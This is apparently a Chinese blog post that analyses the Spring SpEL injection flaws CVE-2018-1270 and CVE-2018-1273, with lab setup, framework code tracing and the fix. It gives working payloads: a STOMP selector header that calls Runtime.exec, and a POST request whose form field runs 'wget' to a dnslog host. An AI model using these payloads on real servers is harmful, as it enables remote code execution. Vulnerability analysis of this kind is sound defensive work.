spring漏洞分析

SpEL介绍

Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。

基本用法:
SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值

示例1:不注册新变量的用法

ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值,Hello World!

示例2:自定义注册加载变量的用法

public class Spel {
    public String name = "何止";
    public static void main(String[] args) {
        Spel user = new Spel();
        StandardEvaluationContext context=new StandardEvaluationContext();
        context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量
        SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
        Expression expression = parser.parseExpression("#user.name");//解析表达式
        System.out.println( expression.getValue(context).toString() );//取值,输出何止
    }
}

除了expression.getValue之外,expression.setValue也是可以出发表达式执行的

CVE-2018-1270

满足版本

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14
  • 更老版本

漏洞简介

上面版本中的Spring允许应用程序通过spring-messaging模块内存中STOMP代理创建WebSocket。攻击者可以向代理发送消息,从而导致远程执行代码攻击。

STOMP(Simple Text-Orientated Messaging Protocol) 面向消息的简单文本协议,用于服务器在客户端之间进行异步消息传递。STOMP帧由命令,一个或多个头信息、一个空行及负载(文本或字节)所组成

客户端可以使用SEND命令来发送消息以及描述消息的内容,用SUBSCRIBE命令来订阅消息以及由谁来接收消息。这样就可以建立一个发布订阅系统,消息可以从客户端发送到服务器进行操作,服务器也可以推送消息到客户端

环境搭建

下载带有漏洞的版本

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
cd ./gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

complete文件夹下是一个完整的SpringBoot项目,使用idea打开,修改src/main/resources/static/app.js中的connect函数

function connect() {
    var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('open /System/Applications/Calculator.app')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        },header);
    });
}

增加了一个header头部,其中指定了selector,其值即payload

do it

使用idea运行项目,然后打开网页,通过如下步骤触发:
1、点击“Connect”按钮
2、随便输入一些什么,点击“Send”发送
在这里插入图片描述
触发
在这里插入图片描述
这是后有人会说了,我都能修改它源码了,还要什么命令执行,其实不是的,app.js是返回给用户使用的,用户可以随意修改,比如我们通过浏览器修改app.js如下
在这里插入图片描述
然后依然可以触发
在这里插入图片描述

分析

点击Connect按钮时,会通过下面函数添加恶意头

//org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#addSubscriptionInternal
protected void addSubscriptionInternal(String sessionId, String subsId, String destination, Message<?> message) {
        Expression expression = null;
        MessageHeaders headers = message.getHeaders();
        String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(this.getSelectorHeaderName(), headers);
        if (selector != null) {
            try {
                expression = this.expressionParser.parseExpression(selector);
                this.selectorHeaderInUse = true;
                if (this.logger.isTraceEnabled()) {
                    this.logger.trace("Subscription selector: [" + selector + "]");
                }
            } catch (Throwable var9) {
                if (this.logger.isDebugEnabled()) {
                    this.logger.debug("Failed to parse selector: " + selector, var9);
                }
            }
        }

        this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
        this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
    }

然后我们点击send按钮,它会被sendMessageToSubscribers函数捕获,其中message保存了此次连接/会话的相关信息

//org.springframework.messaging.simp.broker.SimpleBrokerMessageHandler#sendMessageToSubscribers
    protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {
        MultiValueMap<String, String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);
        if (!subscriptions.isEmpty() && this.logger.isDebugEnabled()) {
            this.logger.debug("Broadcasting to " + subscriptions.size() + " sessions.");
        }
        ...

跟进findSubscriptions函数,做了一些关于headers的处理

public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {
        MessageHeaders headers = message.getHeaders();
        SimpMessageType type = SimpMessageHeaderAccessor.getMessageType(headers);
        if (!SimpMessageType.MESSAGE.equals(type)) {
            throw new IllegalArgumentException("Unexpected message type: " + type);
        } else {
            String destination = SimpMessageHeaderAccessor.getDestination(headers);
            if (destination == null) {
                if (this.logger.isErrorEnabled()) {
                    this.logger.error("No destination in " + message);
                }

                return EMPTY_MAP;
            } else {
                return this.findSubscriptionsInternal(destination, message);
            }
        }
    }

跟进findSubscriptionsInternal函数

protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
        MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
        return this.filterSubscriptions(result, message);
    }

跟进filterSubscriptions函数,也就是出发漏洞的函数

private MultiValueMap<String, String> filterSubscriptions(MultiValueMap<String, String> allMatches, Message<?> message) {
        if (!this.selectorHeaderInUse) {
            return allMatches;
        } else {
            EvaluationContext context = null;
            MultiValueMap<String, String> result = new LinkedMultiValueMap(allMatches.size());
            Iterator var5 = allMatches.keySet().iterator();

            label59:
            while(var5.hasNext()) {
                String sessionId = (String)var5.next();
                Iterator var7 = ((List)allMatches.get(sessionId)).iterator();

                while(true) {
                    while(true) {
                        String subId;
                        DefaultSubscriptionRegistry.Subscription sub;
                        do {
                            DefaultSubscriptionRegistry.SessionSubscriptionInfo info;
                            do {
                                if (!var7.hasNext()) {
                                    continue label59;
                                }

                                subId = (String)var7.next();
                                info = this.subscriptionRegistry.getSubscriptions(sessionId);
                            } while(info == null);

                            sub = info.getSubscription(subId);
                        } while(sub == null);

                        Expression expression = sub.getSelectorExpression();
                        if (expression == null) {
                            result.add(sessionId, subId);
                        } else {
                            if (context == null) {
                                context = new StandardEvaluationContext(message);
                                context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor());
                            }

                            try {
                                if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
                                    result.add(sessionId, subId);
                                }
      ...

函数中,通过info.getSubscription(subId);将恶意payload取出来,然后在expression.getValue(context, Boolean.class)中触发

修复

将之前的StandardEvaluationContext替换成了SimpleEvaluationContext

SimpleEvaluationContext对于权限的限制更为严格,能够进行的操作更少。只支持一些简单的Map结构

...
    private static final EvaluationContext messageEvalContext = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor[]{new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor()}).build();
...
    Boolean result = (Boolean)expression.getValue(messageEvalContext, message, Boolean.class);

CVE-2018-1273

版本

Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5

搭建环境

git clone https://github.com/vulhub/vulhub.git
cd ./vulhub/spring/CVE-2018-1273
docker-compose up -d

do it

打开http://127.0.0.1:8080/users,随便写点什么,发送
在这里插入图片描述
抓包,发送payload

POST http://127.0.0.1:8080/users?page=&size=5 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/users
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://z0w11n.dnslog.cn")]=&password=&repeatedPassword=

在这里插入图片描述

分析

漏洞触发点

public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
            if (!this.isWritableProperty(propertyName)) {
                throw new NotWritablePropertyException(this.type, propertyName);
            } else {
                StandardEvaluationContext context = new StandardEvaluationContext();
                context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
                context.setTypeConverter(new StandardTypeConverter(this.conversionService));
                context.setTypeLocator((typeName) -> {
                    throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, new Object[]{typeName});
                });
                context.setRootObject(this.map);
                Expression expression = PARSER.parseExpression(propertyName);
                PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
                TypeInformation<?> owningType = leafProperty.getOwningType();
                TypeInformation<?> propertyType = leafProperty.getTypeInformation();
                propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
                if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
                    PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
                    if (descriptor == null) {
                        throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
                    }

                    MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
                    TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
                    if (typeDescriptor == null) {
                        throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
                    }

                    value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
                }

                try {
                    expression.setValue(context, value);
                } catch (SpelEvaluationException var11) {
                    throw new NotWritablePropertyException(this.type, propertyName, "Could not write property!", var11);
                }
            }
        }

为什么会跑到这呢,先要了解一下HandlerMethod类,HandlerMethod及子类主要用于封装方法调用相关信息,子类还提供调用,参数准备和返回值处理的职责。

  • HandlerMethod 封装方法定义相关的信息,如类,方法,参数等.
    使用场景:HandlerMapping时会使用

  • InvocableHandlerMethod 添加参数准备,方法调用功能
    使用场景:执行使用@ModelAttribute注解会使用

  • ServletInvocableHandlerMethod 添加返回值处理职责,ResponseStatus处理
    使用场景:执行http相关方法会使用,比如调用处理执行

从路由入口可以知道,users使用了ModelAttribute注解

@RequestMapping({"/users"})
class UserController {
    private final UserManagement userManagement;

    @ModelAttribute("users")
    public Page<User> users(@PageableDefault(size = 5) Pageable pageable) {
        return this.userManagement.findAll(pageable);
    }

    @RequestMapping(
        method = {RequestMethod.POST}
    )
    public Object register(UserController.UserForm userForm, BindingResult binding, Model model) {
        userForm.validate(binding, this.userManagement);
        if (binding.hasErrors()) {
            return "users";
        } else {
            this.userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword()));
            RedirectView redirectView = new RedirectView("redirect:/users");
            redirectView.setPropagateQueryParams(true);
            return redirectView;
        }
    }

当访问上面路由的时候触发了下面org.springframework.web.method.support.InvocableHandlerMethod#getMethodArgumentValues

private Object[] getMethodArgumentValues(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
        MethodParameter[] parameters = this.getMethodParameters();
        Object[] args = new Object[parameters.length];

        for(int i = 0; i < parameters.length; ++i) {
            MethodParameter parameter = parameters[i];
            parameter.initParameterNameDiscovery(this.parameterNameDiscoverer);
            args[i] = this.resolveProvidedArgument(parameter, providedArgs);
            if (args[i] == null) {
                if (this.argumentResolvers.supportsParameter(parameter)) {
                    try {
                        args[i] = this.argumentResolvers.resolveArgument(parameter, mavContainer, request, this.dataBinderFactory);
                    } catch (Exception var9) {
                        if (this.logger.isDebugEnabled()) {
                            this.logger.debug(this.getArgumentResolutionErrorMessage("Failed to resolve", i), var9);
                        }

                        throw var9;
                    }
                } else if (args[i] == null) {
                    throw new IllegalStateException("Could not resolve method parameter at index " + parameter.getParameterIndex() + " in " + parameter.getExecutable().toGenericString() + ": " + this.getArgumentResolutionErrorMessage("No suitable resolver for", i));
                }
            }
        }

        return args;
    }

跟进org.springframework.web.method.support.HandlerMethodArgumentResolverComposite#resolveArgument

public Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer, NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
        HandlerMethodArgumentResolver resolver = this.getArgumentResolver(parameter);
        if (resolver == null) {
            throw new IllegalArgumentException("Unknown parameter type [" + parameter.getParameterType().getName() + "]");
        } else {
            return resolver.resolveArgument(parameter, mavContainer, webRequest, binderFactory);
        }
    }

然后进入org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument

    public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer, NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
        Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
        Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
        String name = ModelFactory.getNameForParameter(parameter);
        ModelAttribute ann = (ModelAttribute)parameter.getParameterAnnotation(ModelAttribute.class);
        if (ann != null) {
            mavContainer.setBinding(name, ann.binding());
        }

        Object attribute = null;
        BindingResult bindingResult = null;
        if (mavContainer.containsAttribute(name)) {
            attribute = mavContainer.getModel().get(name);
        } else {
            try {
                attribute = this.createAttribute(name, parameter, binderFactory, webRequest);
            } catch (BindException var10) {
                if (this.isBindExceptionRequired(parameter)) {
                    throw var10;
                }
   ...

跟进org.springframework.data.web.ProxyingHandlerMethodArgumentResolver#createAttribute

protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception {
        MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), (ConversionService)this.conversionService.getObject());
        binder.bind(new MutablePropertyValues(request.getParameterMap()));
        return this.proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
    }

跟进org.springframework.validation.DataBinder#bind和dobind

public void bind(PropertyValues pvs) {
        MutablePropertyValues mpvs = pvs instanceof MutablePropertyValues ? (MutablePropertyValues)pvs : new MutablePropertyValues(pvs);
        this.doBind(mpvs);
    }

    protected void doBind(MutablePropertyValues mpvs) {
        this.checkAllowedFields(mpvs);
        this.checkRequiredFields(mpvs);
        this.applyPropertyValues(mpvs);
    }

跟进org.springframework.validation.DataBinder#applyPropertyValues

    protected void applyPropertyValues(MutablePropertyValues mpvs) {
        try {
            this.getPropertyAccessor().setPropertyValues(mpvs, this.isIgnoreUnknownFields(), this.isIgnoreInvalidFields());
        } catch (PropertyBatchUpdateException var7) {
            PropertyAccessException[] var3 = var7.getPropertyAccessExceptions();
            int var4 = var3.length;

            for(int var5 = 0; var5 < var4; ++var5) {
                PropertyAccessException pae = var3[var5];
                this.getBindingErrorProcessor().processPropertyAccessException(pae, this.getInternalBindingResult());
            }
        }

    }

跟进org.springframework.beans.AbstractPropertyAccessor#setPropertyValues

public void setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid) throws BeansException {
        List<PropertyAccessException> propertyAccessExceptions = null;
        List<PropertyValue> propertyValues = pvs instanceof MutablePropertyValues ? ((MutablePropertyValues)pvs).getPropertyValueList() : Arrays.asList(pvs.getPropertyValues());
        Iterator var6 = propertyValues.iterator();

        while(var6.hasNext()) {
            PropertyValue pv = (PropertyValue)var6.next();

            try {
                this.setPropertyValue(pv);
            } catch (NotWritablePropertyException var9) {
                if (!ignoreUnknown) {
                    throw var9;
                }
  ...

跟进org.springframework.beans.AbstractPropertyAccessor#setPropertyValue(org.springframework.beans.PropertyValue)

    public void setPropertyValue(PropertyValue pv) throws BeansException {
        this.setPropertyValue(pv.getName(), pv.getValue());
    }

最后就进入了前文提到的漏洞触发函数org.springframework.data.web.MapDataBinder.MapPropertyAccessor#setPropertyValue

修复

跟第一个漏洞一样,将StandardEvaluationContext替换成了SimpleEvaluationContext

参考

https://xz.aliyun.com/t/2252
https://xz.aliyun.com/t/9245
https://www.cnblogs.com/leftthen/p/5229204.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,我知道你的问题了。针对你提到的这个问题,我可以给你一些解释和分析。 首先,RMI(Remote Method Invocation)是Java远程调用机制的一种实现方式,它允许在不同的JVM进程之间进行Java对象的传输和远程调用。而反序列化(Deserialization)是将二进制数据转换为Java对象的过程。在Java中,对象的序列化和反序列化是通过ObjectInputStream和ObjectOutputStream类来实现的。 RMI远程反序列化RCE漏洞是指,攻击者可以通过构造恶意的序列化数据,使得服务端在反序列化时执行恶意代码,从而导致远程代码执行漏洞。这个漏洞的根本原因在于Java序列化机制的设计缺陷,攻击者可以通过构造恶意的序列化数据来绕过Java的安全机制,从而执行任意代码。 而Spring框架的反序列化远程代码执行漏洞,则是指攻击者可以通过构造恶意的序列化数据,使得Spring框架在反序列化时执行恶意代码,从而导致远程代码执行漏洞。这个漏洞的影响范围非常广泛,涵盖了Spring框架的多个版本,包括Spring MVC、Spring WebFlow、Spring Data等。 总的来说,RMI远程反序列化RCE漏洞Spring框架的反序列化远程代码执行漏洞都是Java序列化机制的设计缺陷所导致的安全漏洞。攻击者可以通过构造恶意的序列化数据来绕过Java的安全机制,从而执行任意代码。因此,在开发Java应用程序时,需要注意对序列化和反序列化数据的处理,避免出现安全漏洞

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值